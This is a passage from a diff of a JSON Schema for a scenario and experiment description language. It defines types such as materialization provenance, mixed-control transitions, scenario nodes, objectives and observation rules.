correction.","properties":{"category":{"enum":["task_completion","effect_realization"],"title":"Category","type":"string"},"conflict_policy":{"const":"retain_until_explicit_correction","title":"Conflict Policy","type":"string"},"criteria":{"items":{"$ref":"#/$defs/LocalOutcomeCriterion"},"minItems":1,"title":"Criteria","type":"array"},"criterion_basis":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"\\S","title":"Criterion Basis","type":"string"},"episode_policy":{"const":"reset_without_transfer","title":"Episode Policy","type":"string"},"freshness_policy":{"const":"exact_observation_cut","title":"Freshness Policy","type":"string"},"model_version":{"const":"1.0.0","title":"Model Version","type":"string"}},"required":["model_version","category","criterion_basis","criteria","conflict_policy","freshness_policy","episode_policy"],"title":"LocalOutcomeDefinition","type":"object"}, + "MaterializationOrigin": {"additionalProperties":false,"description":"One disclosed difference; world values stay in their owning SDL fields.","properties":{"change":{"enum":["added","selected","removed"],"title":"Change","type":"string"},"field_pointer":{"maxLength":4096,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:/(?:[^~/]|~[01])*)*$","title":"Field Pointer","type":"string"},"origin":{"$ref":"#/$defs/ExplicitnessProvenance"},"source_pointer":{"anyOf":[{"$ref":"#/$defs/_r135"},{"type":"null"}],"default":null,"title":"Source Pointer"}},"required":["field_pointer","change","origin"],"title":"MaterializationOrigin","type":"object"}, + "MaterializationProducer": {"additionalProperties":false,"description":"The selected producer and its exact configured manifest.","properties":{"configuration_digest":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^sha256:[a-f0-9]{64}$","title":"Configuration Digest","type":"string"},"manifest_digest":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^sha256:[a-f0-9]{64}$","title":"Manifest Digest","type":"string"},"name":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[^\\s\\x00-\\x1f]+$","title":"Name","type":"string"},"version":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[^\\s\\x00-\\x1f]+$","title":"Version","type":"string"}},"required":["name","version","configuration_digest","manifest_digest"],"title":"MaterializationProducer","type":"object"}, + "MaterializationProvenance": {"additionalProperties":false,"description":"Execution-bound producer assertion, separate from authoring authority.","properties":{"attestation_id":{"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"},"pattern":"^[a-z0-9]","title":"Attestation Id","type":"string"},"authored_digest":{"$ref":"#/$defs/SemanticDigest"},"boundary":{"const":"post-materialization","title":"Boundary","type":"string"},"coverage_profile":{"const":"raes-materialization-effects/v1","title":"Coverage Profile","type":"string"},"instantiated_digest":{"$ref":"#/$defs/InstantiatedMaterializationDigest"},"operation_id":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[^\\s\\x00-\\x1f]+$","title":"Operation Id","type":"string"},"origins":{"items":{"$ref":"#/$defs/MaterializationOrigin"},"maxItems":4096,"title":"Origins","type":"array"},"plan_digest":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^sha256:[a-f0-9]{64}$","title":"Plan Digest","type":"string"},"predecessor_digest":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^sha256:[a-f0-9]{64}$","title":"Predecessor Digest","type":"string"},"producer":{"$ref":"#/$defs/MaterializationProducer"},"profile":{"const":"raes-materialization-attestation/v1","title":"Profile","type":"string"},"recorded_at":{"format":"date-time","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Recorded At","type":"string"},"resource_bindings":{"items":{"$ref":"#/$defs/MaterializedResourceBinding"},"maxItems":4096,"title":"Resource Bindings","type":"array"},"run_id":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[^\\s\\x00-\\x1f]+$","title":"Run Id","type":"string"}},"required":["profile","attestation_id","authored_digest","instantiated_digest","plan_digest","predecessor_digest","operation_id","run_id","recorded_at","boundary","producer","coverage_profile","origins","resource_bindings"],"title":"MaterializationProvenance","type":"object"}, + "MaterializedResourceBinding": {"additionalProperties":false,"description":"Portable resource and source-declaration identity for one realized node.","properties":{"address":{"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":2048,"minLength":3,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$","title":"Address","type":"string"},"instance_index":{"anyOf":[{"minimum":0,"type":"integer"},{"type":"null"}],"default":null,"title":"Instance Index"},"node_name":{"$ref":"#/$defs/_r0"},"source_node":{"anyOf":[{"$ref":"#/$defs/_r0"},{"type":"null"}],"default":null}},"required":["address","node_name"],"title":"MaterializedResourceBinding","type":"object"}, + "MixedControlAuthorityStatus": {"description":"Authored authority state for one controller binding.","enum":["active","revoked"],"title":"MixedControlAuthorityStatus","type":"string"}, + "MixedControlConcurrentDisposition": {"description":"Disposition for decisions that share a control-state revision.","enum":["order-then-revalidate"],"title":"MixedControlConcurrentDisposition","type":"string"}, + "MixedControlControllerState": {"additionalProperties":false,"description":"One authored controller, authority, scope, and validity binding.","properties":{"authority_basis_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Authority Basis Refs","type":"array"},"authority_status":{"$ref":"#/$defs/MixedControlAuthorityStatus"},"controller_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Controller Ref","type":"string"},"evidence_refs":{"$ref":"#/$defs/_r118"},"policy_revision":{"$ref":"#/$defs/_r177"},"scope_refs":{"$ref":"#/$defs/_r127"},"valid_from_order":{"minimum":0,"title":"Valid From Order","type":"integer"},"valid_until_order":{"minimum":0,"title":"Valid Until Order","type":"integer"}},"required":["controller_ref","authority_basis_refs","scope_refs","policy_revision","valid_from_order","valid_until_order","authority_status","evidence_refs"],"title":"MixedControlControllerState","type":"object"}, + "MixedControlDispositionRules": {"additionalProperties":false,"description":"Explicit deterministic rules for invalid or competing decisions.","properties":{"concurrent":{"$ref":"#/$defs/MixedControlConcurrentDisposition"},"conflict":{"$ref":"#/$defs/MixedControlRejectDisposition"},"duplicate":{"$ref":"#/$defs/MixedControlDuplicateDisposition"},"late":{"$ref":"#/$defs/MixedControlRejectDisposition"},"revoked":{"$ref":"#/$defs/MixedControlRejectDisposition"},"stale":{"$ref":"#/$defs/MixedControlRejectDisposition"}},"required":["duplicate","stale","revoked","late","concurrent","conflict"],"title":"MixedControlDispositionRules","type":"object"}, + "MixedControlDuplicateDisposition": {"description":"Disposition for a repeated decision identity.","enum":["idempotent-if-equivalent"],"title":"MixedControlDuplicateDisposition","type":"string"}, + "MixedControlOrderStrategy": {"description":"Portable ordering strategies for authored control decisions.","enum":["total-effective-order"],"title":"MixedControlOrderStrategy","type":"string"}, + "MixedControlParticipantOperation": {"additionalProperties":false,"description":"Closed authored mixed-control policy for exactly one participant.","properties":{"controller_states":{"patternProperties":{"^[a-z0-9]":{"$ref":"#/$defs/MixedControlControllerState"}},"propertyNames":{"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"}},"title":"Controller States","type":"object"},"dispositions":{"$ref":"#/$defs/MixedControlDispositionRules"},"initial_state_ref":{"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"},"pattern":"^[a-z0-9]","title":"Initial State Ref","type":"string"},"order_strategy":{"$ref":"#/$defs/MixedControlOrderStrategy"},"participant_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Participant Ref","type":"string"},"policy_revision":{"$ref":"#/$defs/_r177"},"transitions":{"patternProperties":{"^[a-z0-9]":{"$ref":"#/$defs/MixedControlTransition"}},"propertyNames":{"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"}},"title":"Transitions","type":"object"}},"required":["participant_ref","policy_revision","order_strategy","initial_state_ref","dispositions","controller_states","transitions"],"title":"MixedControlParticipantOperation","type":"object"}, + "MixedControlRejectDisposition": {"description":"Fail-closed disposition that preserves the current state.","enum":["reject-no-state-change"],"title":"MixedControlRejectDisposition","type":"string"}, + "MixedControlTransition": {"additionalProperties":false,"description":"One authored, revision-checked mixed-control transition declaration.","properties":{"completion_evidence_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Completion Evidence Refs","type":"array"},"effective_order":{"minimum":0,"title":"Effective Order","type":"integer"},"evidence_refs":{"$ref":"#/$defs/_r118"},"expected_state_revision":{"minimum":0,"title":"Expected State Revision","type":"integer"},"from_state_ref":{"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"},"pattern":"^[a-z0-9]","title":"From State Ref","type":"string"},"policy_revision":{"$ref":"#/$defs/_r177"},"proposal_ref":{"anyOf":[{"$ref":"#/$defs/_r3"},{"type":"null"}],"default":null,"title":"Proposal Ref"},"proposal_revision":{"anyOf":[{"minimum":1,"type":"integer"},{"type":"null"}],"default":null,"title":"Proposal Revision"},"resulting_state_revision":{"minimum":1,"title":"Resulting State Revision","type":"integer"},"to_state_ref":{"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"},"pattern":"^[a-z0-9]","title":"To State Ref","type":"string"},"transition_kind":{"$ref":"#/$defs/MixedControlTransitionKind"},"valid_from_order":{"minimum":0,"title":"Valid From Order","type":"integer"},"valid_until_order":{"minimum":0,"title":"Valid Until Order","type":"integer"}},"required":["transition_kind","from_state_ref","to_state_ref","policy_revision","expected_state_revision","resulting_state_revision","effective_order","valid_from_order","valid_until_order","evidence_refs"],"title":"MixedControlTransition","type":"object"}, + "MixedControlTransitionKind": {"description":"Control-owned facts kept distinct from admission and execution.","enum":["proposal","approval","denial","external-direction","intervention","handoff","override","cancellation"],"title":"MixedControlTransitionKind","type":"string"}, + "NamedAlphabet": {"description":"Closed set of portable alphabets a random value may draw from.\n\nConcrete charsets live in :data:`raes_contracts.random_value_generation.NAMED_ALPHABET_CHARSETS`,\nthe single source of truth shared with backend generation.","enum":["hex_lower","hex_upper","digits","alpha","alphanumeric","base32","base58"],"title":"NamedAlphabet","type":"string"}, + "Node": {"additionalProperties":false,"allOf":[{"if":{"properties":{"os_version":{"minLength":1,"type":"string"}},"required":["os_version"]},"then":{"properties":{"os_distribution":{"not":{"type":"null"}}},"required":["os_distribution"]}},{"if":{"properties":{"os_distribution":{"not":{"type":"null"}}},"required":["os_distribution"]},"then":{"properties":{"os":{"not":{"type":"null"}}},"required":["os"]}}],"description":"A scenario node \u2014 either a compute endpoint or a strict switch.\n\nThe ``type`` field determines which structural variant is active. Compute\nfields are only valid for compute nodes; switches carry no extra data.","properties":{"architecture":{"anyOf":[{"$ref":"#/$defs/NodeArchitecture"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:amd64|x64|x86-64|arm64|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$","type":"string"},{"type":"null"}],"default":null,"title":"Architecture"},"asset_value":{"anyOf":[{"$ref":"#/$defs/AssetValue"},{"type":"null"}],"default":null},"conditions":{"additionalProperties":{"$ref":"#/$defs/_r185"},"title":"Conditions","type":"object"},"description":{"$ref":"#/$defs/_r53"},"endpoint_persona":{"anyOf":[{"$ref":"#/$defs/EndpointPersona"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Endpoint Persona"},"features":{"additionalProperties":{"$ref":"#/$defs/_r185"},"title":"Features","type":"object"},"injects":{"additionalProperties":{"$ref":"#/$defs/_r185"},"title":"Injects","type":"object"},"os":{"anyOf":[{"$ref":"#/$defs/OSFamily"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[wW][iI][nN][dD][oO][wW][sS]|[lL][iI][nN][uU][xX]|[mM][aA][cC][oO][sS]|[fF][rR][eE][eE][bB][sS][dD]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"},{"type":"null"}],"default":null,"title":"Os"},"os_distribution":{"anyOf":[{"$ref":"#/$defs/OSDistribution"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$","type":"string"},{"type":"null"}],"default":null,"title":"Os Distribution"},"os_version":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[!-~](?:[ -~]{0,126}[!-~])?|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})?$","title":"Os Version","type":"string"},"resources":{"anyOf":[{"$ref":"#/$defs/Resources"},{"type":"null"}],"default":null},"roles":{"patternProperties":{"^[a-z0-9]":{"$ref":"#/$defs/Role"}},"propertyNames":{"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"}},"title":"Roles","type":"object"},"runtime":{"anyOf":[{"$ref":"#/$defs/RuntimeConfiguration"},{"type":"null"}],"default":null},"services":{"items":{"$ref":"#/$defs/ServicePort"},"title":"Services","type":"array"},"source":{"anyOf":[{"$ref":"#/$defs/Source"},{"type":"null"}],"default":null},"type":{"$ref":"#/$defs/NodeType"}},"required":["type"],"title":"Node","type":"object"}, + "NodeArchitecture": {"description":"Canonical target-node CPU architecture vocabulary.\n\nGoverned-extension vocabulary (DSL-139): the closed canonical set below is\nkept deliberately small; a custom architecture uses the governed\n``x-:`` extension form rather than a catch-all sentinel, so\nneither ``unknown`` nor ``other`` is carried (absence already expresses \"no\ntarget architecture requirement\"). Kept in parity with the\n``provisioner-node-architectures`` controlled vocabulary.","enum":["x86_64","aarch64"],"title":"NodeArchitecture","type":"string"}, + "NodeType": {"description":"Structural resource kind, independent of its realization mechanism.","enum":["compute","switch"],"title":"NodeType","type":"string"}, + "NumericPredicate": {"additionalProperties":false,"description":"Compare a governed numeric property using an explicit unit.","properties":{"expected":{"anyOf":[{"type":"integer"},{"type":"number"}],"title":"Expected"},"kind":{"const":"number","default":"number","title":"Kind","type":"string"},"operator":{"default":"equals","enum":["equals","not_equals","less_than","less_than_or_equal","greater_than","greater_than_or_equal"],"title":"Operator","type":"string"},"property":{"$ref":"#/$defs/_r136"},"semantic_ref":{"$ref":"#/$defs/_r132"},"unit":{"maxLength":512,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-z0-9][a-z0-9_-]{0,63}(?:\\.[a-z0-9][a-z0-9_-]{0,63})*$","title":"Unit","type":"string"},"unit_semantic_ref":{"maxLength":2048,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:https://[^\\s]+|urn:[A-Za-z0-9][A-Za-z0-9:._~-]*)$","title":"Unit Semantic Ref","type":"string"}},"required":["property","semantic_ref","expected","unit","unit_semantic_ref"],"title":"NumericPredicate","type":"object"}, + "OSDistribution": {"description":"Canonical portable distribution or product-line identifiers.","enum":["ubuntu","debian","rocky-linux","red-hat-enterprise-linux","windows-server","windows-client","solaris"],"title":"OSDistribution","type":"string"}, + "OSFamily": {"description":"Operating system family. Vocabulary from OCSF Device.os.","enum":["windows","linux","macos","freebsd","other"],"title":"OSFamily","type":"string"}, + "Objective": {"additionalProperties":false,"anyOf":[{"properties":{"owner":{"$ref":"#/$defs/_r146"}},"required":["owner"]},{"properties":{"assigned_participant":{"$ref":"#/$defs/_r146"}},"required":["assigned_participant"]}],"description":"A declarative experiment objective.","properties":{"actions":{"$ref":"#/$defs/_r98"},"assigned_participant":{"anyOf":[{"$ref":"#/$defs/_r146"},{"type":"null"}],"default":null,"title":"Assigned Participant"},"depends_on":{"items":{"$ref":"#/$defs/_r185"},"title":"Depends On","type":"array"},"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r64"},"owner":{"anyOf":[{"$ref":"#/$defs/_r146"},{"type":"null"}],"default":null,"title":"Owner"},"success":{"$ref":"#/$defs/ObjectiveSuccess"},"targets":{"items":{"$ref":"#/$defs/_r185"},"title":"Targets","type":"array"},"window":{"anyOf":[{"$ref":"#/$defs/ObjectiveWindow"},{"type":"null"}],"default":null}},"required":["success"],"title":"Objective","type":"object"}, + "ObjectiveSuccess": {"additionalProperties":false,"description":"Declarative success criteria for an objective.\n\nSuccess composes backend-neutral invariant or postcondition assertions.\nProbe implementations, graded scoring, and reward remain outside this\nconstruct.","properties":{"assertions":{"$ref":"#/$defs/_r104"},"mode":{"anyOf":[{"$ref":"#/$defs/TruthCompositionMode"},{"$ref":"#/$defs/_r185"}],"default":"all_of","title":"Mode"},"threshold":{"$ref":"#/$defs/_r22"}},"title":"ObjectiveSuccess","type":"object"}, + "ObjectiveWindow": {"additionalProperties":false,"description":"Optional orchestration window constraining when an objective applies.","properties":{"events":{"$ref":"#/$defs/_r117"},"scripts":{"items":{"$ref":"#/$defs/_r185"},"title":"Scripts","type":"array"},"steps":{"items":{"$ref":"#/$defs/_r185"},"title":"Steps","type":"array"},"stories":{"items":{"$ref":"#/$defs/_r185"},"title":"Stories","type":"array"},"workflows":{"items":{"$ref":"#/$defs/_r185"},"title":"Workflows","type":"array"}},"title":"ObjectiveWindow","type":"object"}, + "ObservationBasis": {"description":"Truthful basis requested for a reportable value.","enum":["backend-selected","observed","independently-verified","operational"],"title":"ObservationBasis","type":"string"}, + "ObservationDemandMode": {"description":"Selection posture at a named semantic scope.","enum":["inherit","none","operational-only","selected","exhaustive"],"title":"ObservationDemandMode","type":"string"}, + "ObservationDemandRule": {"additionalProperties":false,"allOf":[{"anyOf":[{"properties":{"mode":{"not":{"type":"null"}}},"required":["mode"]},{"properties":{"selector":{"not":{"type":"null"}}},"required":["selector"]},{"properties":{"collection":{"not":{"type":"null"}}},"required":["collection"]},{"properties":{"retention":{"not":{"type":"null"}}},"required":["retention"]},{"properties":{"export":{"not":{"type":"null"}}},"required":["export"]},{"properties":{"basis":{"not":{"type":"null"}}},"required":["basis"]},{"properties":{"redaction":{"not":{"type":"null"}}},"required":["redaction"]},{"properties":{"integrity":{"not":{"type":"null"}}},"required":["integrity"]},{"properties":{"prohibited_stages":{"minItems":1}},"required":["prohibited_stages"]}]},{"if":{"properties":{"mode":{"enum":["selected","exhaustive"]}},"required":["mode"]},"then":{"properties":{"selector":{"not":{"type":"null"}}},"required":["selector"]}},{"if":{"properties":{"mode":{"const":"exhaustive"}},"required":["mode"]},"then":{"properties":{"selector":{"properties":{"coverage_profile":{"minLength":1,"type":"string"},"max_items":{"minimum":1,"type":"integer"}},"required":["coverage_profile","max_items"]}},"required":["selector"]}},{"if":{"properties":{"mode":{"enum":["selected","exhaustive"]},"purpose":{"const":"experimental"}},"required":["purpose","mode"]},"then":{"properties":{"integrity":{"minLength":1,"type":"string"},"redaction":{"minLength":1,"type":"string"}},"required":["redaction","integrity"]}}],"description":"One local scoped preference or independent mandatory requirement.","properties":{"authority_ref":{"default":"author","minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Authority Ref","type":"string"},"basis":{"anyOf":[{"$ref":"#/$defs/ObservationBasis"},{"type":"null"}],"default":null},"collection":{"$ref":"#/$defs/_r8"},"export":{"$ref":"#/$defs/_r8"},"integrity":{"anyOf":[{"$ref":"#/$defs/_r146"},{"type":"null"}],"default":null,"title":"Integrity"},"mode":{"anyOf":[{"$ref":"#/$defs/ObservationDemandMode"},{"type":"null"}],"default":null},"prohibited_stages":{"default":[],"items":{"$ref":"#/$defs/ObservationLifecycleStage"},"maxItems":3,"title":"Prohibited Stages","type":"array"},"purpose":{"$ref":"#/$defs/ObservationPurpose"},"redaction":{"anyOf":[{"$ref":"#/$defs/_r146"},{"type":"null"}],"default":null,"title":"Redaction"},"required":{"default":false,"title":"Required","type":"boolean"},"retention":{"$ref":"#/$defs/_r8"},"rule_id":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Rule Id","type":"string"},"scope":{"$ref":"#/$defs/_r134"},"selector":{"anyOf":[{"$ref":"#/$defs/ObservationSelector"},{"type":"null"}],"default":null}},"required":["rule_id","scope","purpose"],"title":"ObservationDemandRule","type":"object"}, + "ObservationLifecycleDecision": {"description":"One local lifecycle preference or monotone prohibition.","enum":["inherit","forbid","disable","require"],"title":"ObservationLifecycleDecision","type":"string"}, + "ObservationLifecycleStage": {"description":"Independently governed data-lifecycle stages.","enum":["collection","retention","export"],"title":"ObservationLifecycleStage","type":"string"}, + "ObservationPurpose": {"description":"Authority plane for requested data use.","enum":["experimental","realization-description","operational"],"title":"ObservationPurpose","type":"string"}, + "ObservationSelector": {"additionalProperties":false,"allOf":[{"if":{"properties":{"coverage_profile":{"not":{"type":"null"}}},"required":["coverage_profile"]},"then":{"properties":{"max_items":{"not":{"type":"null"}}},"required":["max_items"]}},{"if":{"properties":{"max_items":{"not":{"type":"null"}}},"required":["max_items"]},"then":{"properties":{"coverage_profile":{"not":{"type":"null"}}},"required":["coverage_profile"]}}],"description":"Bounded selector over a semantic scope and one data surface.","properties":{"component_refs":{"default":[],"items":{"$ref":"#/$defs/_r146"},"maxItems":256,"title":"Component Refs","type":"array"},"coverage_profile":{"anyOf":[{"$ref":"#/$defs/_r146"},{"type":"null"}],"default":null,"title":"Coverage Profile"},"data_kind":{"enum":["field","stream","artifact"],"title":"Data Kind","type":"string"},"excluded_scopes":{"default":[],"items":{"$ref":"#/$defs/_r135"},"maxItems":256,"title":"Excluded Scopes","type":"array"},"max_items":{"anyOf":[{"maximum":1000000,"minimum":1,"type":"integer"},{"type":"null"}],"default":null,"title":"Max Items"},"names":{"items":{"$ref":"#/$defs/_r146"},"maxItems":256,"minItems":1,"title":"Names","type":"array"},"semantic_scope":{"maxLength":4096,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:/(?:[^~/]|~[01])*)*$","title":"Semantic Scope","type":"string"},"window_refs":{"default":[],"items":{"$ref":"#/$defs/_r146"},"maxItems":256,"title":"Window Refs","type":"array"}},"required":["semantic_scope","data_kind","names"],"title":"ObservationSelector","type":"object"}, + "OperatorSecretCredentialMaterial": {"additionalProperties":false,"description":"Value-free reference to operator-managed credential material.","properties":{"classification":{"const":"operator_secret","title":"Classification","type":"string"},"reference_id":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-z][a-z0-9]*(?:[._-][a-z0-9]+)*$","title":"Reference Id","type":"string"}},"required":["classification","reference_id"],"title":"OperatorSecretCredentialMaterial","type":"object"}, + "OutcomeInterpretationParticipantScope": {"description":"Allowed participant scope for SEM-215 interpretation rules.","enum":["participant_local"],"title":"OutcomeInterpretationParticipantScope","type":"string"}, + "OutcomeInterpretationRule": {"additionalProperties":false,"allOf":[{"else":{"properties":{"target_bindings":{"minItems":1}}},"if":{"properties":{"local_outcome":{"type":"object"}},"required":["local_outcome"]},"then":{"properties":{"semantic_version":{"const":"2.0.0"}}}}],"description":"Explicit SEM-215 rule relating participant-local outcomes to meaning layers.","properties":{"diagnostics":{"$ref":"#/$defs/_r112"},"evidence_refs":{"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Evidence Refs","type":"array"},"interpretation_basis":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Interpretation Basis","type":"string"},"limitations":{"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Limitations","type":"array"},"local_outcome":{"anyOf":[{"$ref":"#/$defs/LocalOutcomeDefinition"},{"type":"null"}],"default":null},"observation_point_basis":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Observation Point Basis","type":"string"},"participant_scope":{"$ref":"#/$defs/OutcomeInterpretationParticipantScope"},"semantic_version":{"$ref":"#/$defs/_r180"},"source_bindings":{"items":{"$ref":"#/$defs/OutcomeInterpretationSourceBinding"},"minItems":1,"title":"Source Bindings","type":"array"},"target_bindings":{"items":{"$ref":"#/$defs/OutcomeInterpretationTargetBinding"},"title":"Target Bindings","type":"array"}},"required":["semantic_version","participant_scope","observation_point_basis","interpretation_basis","source_bindings","target_bindings","evidence_refs","limitations"],"title":"OutcomeInterpretationRule","type":"object"}, + "OutcomeInterpretationSourceBinding": {"additionalProperties":false,"description":"Declared input to a participant outcome interpretation rule.","properties":{"diagnostics":{"$ref":"#/$defs/_r112"},"evidence_refs":{"$ref":"#/$defs/_r118"},"interpretation_role":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Interpretation Role","type":"string"},"provenance_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Provenance Refs","type":"array"},"ref":{"$ref":"#/$defs/_r178"},"source_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Source Id","type":"string"},"source_layer":{"$ref":"#/$defs/OutcomeInterpretationSourceLayer"}},"required":["source_id","source_layer","ref","interpretation_role"],"title":"OutcomeInterpretationSourceBinding","type":"object"}, + "OutcomeInterpretationSourceLayer": {"description":"Semantic layers that may feed a SEM-215 interpretation rule.","enum":["participant_action_outcome","participant_episode_status","objective_result","workflow_result","evaluation_result","evidence_claim","reward_signal","benchmark_milestone","subtask","gold_step","human_assistance","scaffold_variant","cost_resource_telemetry","privacy_redaction_result"],"title":"OutcomeInterpretationSourceLayer","type":"string"}, + "OutcomeInterpretationTargetBinding": {"additionalProperties":false,"description":"Declared output relation from a participant outcome interpretation rule.","properties":{"diagnostics":{"$ref":"#/$defs/_r112"},"evidence_refs":{"$ref":"#/$defs/_r118"},"governance_ref":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Governance Ref"},"limitations":{"$ref":"#/$defs/_r122"},"ref":{"$ref":"#/$defs/_r178"},"relation":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Relation","type":"string"},"target_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Target Id","type":"string"},"target_layer":{"$ref":"#/$defs/OutcomeInterpretationTargetLayer"}},"required":["target_id","target_layer","ref","relation"],"title":"OutcomeInterpretationTargetBinding","type":"object"}, + "OutcomeInterpretationTargetLayer": {"description":"Semantic layers a SEM-215 interpretation rule may explicitly 